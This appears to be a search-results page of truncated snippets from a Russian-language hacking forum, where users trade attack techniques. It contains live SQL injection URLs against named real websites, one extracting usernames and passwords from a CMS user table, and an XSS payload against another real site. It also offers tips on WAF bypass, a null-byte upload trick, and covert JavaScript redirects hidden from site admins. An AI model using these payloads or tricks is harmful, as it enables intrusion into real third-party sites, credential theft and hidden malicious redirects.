Search Results

[IMG] красивое решение, интересно как быстро пофиксят

А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было...

https://www.diakoneo.de/?tx_auwpagesmeta_pagecollector[tagevent][]=25,auw_pages_meta_tag)and(extractvalue/*a*/(0x0a,user/*a*/()))%23

а хост какой?

кидай

done

если intval вожно большое число 92233720368547758079 +1 , в запрос попадёт 2e+, но это при условии старого пыха

https://www.wbt.de/no_cache/english/contact/europe/austria.html?rmhaendlerinfo[show]=search&no_cache=1&rmhaendlerinfo[word]=sa%22/**/or/**/(extract...

var list = ['google', 'ya', 'yandex', 'mail', 'bing']; host = document.referrer.split('/').slice(2,3).join('/').replace('www.', ''); if...

кодить самому или заказывать

не пашет

лучше на JS делать(проще спрятать), проверяй по реферу, наличию печенек(чтобы админа случайно не редиректить или рекламу ему левую подсунуть),...

создать файл, данные постом передать

WAF видимо, попробуй 0x bin2hex

/sozialrecht/publikationen/detail/publication/a'=(extractvalue(0x0a,concat(0x0a,(select(group_concat(concat_ws(0x3a,username,password)))from(be_use...

Спс, хороший таск, на практике такое ни разу не использовал. P.S. после закрытия таска, можно исходники посмотреть?

там же все разжевано https://forum.antichat.ru/threads/471183/#post-4316495

https://forum.antichat.ru/threads/471183/

https://tehnika10.ru/?s=1%22;});});alert(%27lol%27);%3C/script%3E

очень древний баян, года так 10, добавь %00.php или /x00.php